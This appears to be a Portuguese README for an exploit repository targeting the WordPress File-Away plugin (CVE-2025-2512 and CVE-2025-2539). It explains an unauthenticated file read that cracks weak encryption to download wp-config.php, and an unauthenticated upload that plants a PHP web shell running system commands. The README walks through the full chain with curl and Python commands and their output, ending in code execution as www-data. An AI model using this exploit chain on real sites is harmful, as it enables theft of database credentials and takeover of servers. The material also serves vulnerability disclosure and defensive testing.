
Scripts de exploração de execução remota de código para o plugin File-Away do WordPress (CVE-2025-2512 & CVE-2025-2539)
Este repositório contém detalhes de vulnerabilidades e scripts encontrados no File-Away, que é um plugin WordPress usado para gerenciamento de arquivos.
Este plugin contém duas vulnerabilidades que podem levar à execução remota de código (Testado no File-Away 3.9.9.0.1):
O plugin File-Away para WordPress é vulnerável a leitura arbitrária de arquivos sem autenticação em todas as versões até, e incluindo, 3.9.9.0.1.
Esta vulnerabilidade existe devido a dois problemas: a falta de verificação de autenticação na função lib/cls/class.fileaway_stats.php:file_away_stats->ajax() e o uso de um algoritmo de criptografia fraco na função lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt().
Isso possibilita que atacantes não autenticados leiam arquivos arbitrários, incluindo o arquivo de configuração do WordPress (wp-config.php).
O plugin File-Away para WordPress é vulnerável a upload arbitrário de arquivos sem autenticação em todas as versões até, e incluindo, 3.9.9.0.1.
Esta vulnerabilidade existe devido a dois problemas: a falta de verificação de autenticação e a verificação inadequada do tipo de arquivo, ambos na função lib/cls/class.fileaway_management.php:fileaway_management->upload().
Isso possibilita que atacantes não autenticados façam upload de arquivos arbitrários que podem levar à execução de código.
Se o plugin file-away estiver instalado e ativado na instância WordPress alvo, o nonce fileaway_stats deve estar presente na página inicial:
curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'
var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};
Instale os requisitos python:
python3 -m venv venv && venv/bin/pip install httpx
Use a vulnerabilidade de leitura arbitrária de arquivos para obter o arquivo de configuração da instância WordPress (wp-config.php):
venv/bin/python3 get_config.py -t http://127.0.0.1:8000
[+] File-Away nonce: ff57064c96
[-] Encrypted web root: LcZh3iec7c3vfHRt2C8=
[-] Decoder: .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
[-] Charset: abcdefghijklmnopqrstuvwxyz0123456789
[+] Encryption Key: f2379aghijklmnopqrstuvwxyz65bc410d8e
[+] Decrypted web root: /var/www/html
[+] Config file downloaded: 127.0.0.1:8000_wp-config.php
Crie um arquivo PHP para upload:
echo '<?php system("id"); ?>' > /tmp/exec.php
Use a vulnerabilidade de upload arbitrário de arquivos para fazer upload do arquivo no servidor:
PHPvenv/bin/python3 file_upload.py -t http://127.0.0.1:8000 -c 127.0.0.1:8000_wp-config.php -w /var/www/html/ -f /tmp/exec.php
[-] nonce: 4810861b18
[-] upload_nonce: 0c3f44ae83
[-] loc_nonce: a17a2df989
[+] File uploaded: http://127.0.0.1:8000/wp-content/exec.php
⚠️ O arquivo é carregado no diretório wp-content por padrão ⚠️
Acesse o arquivo PHP enviado:
curl -sk http://127.0.0.1:8000/wp-content/exec.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)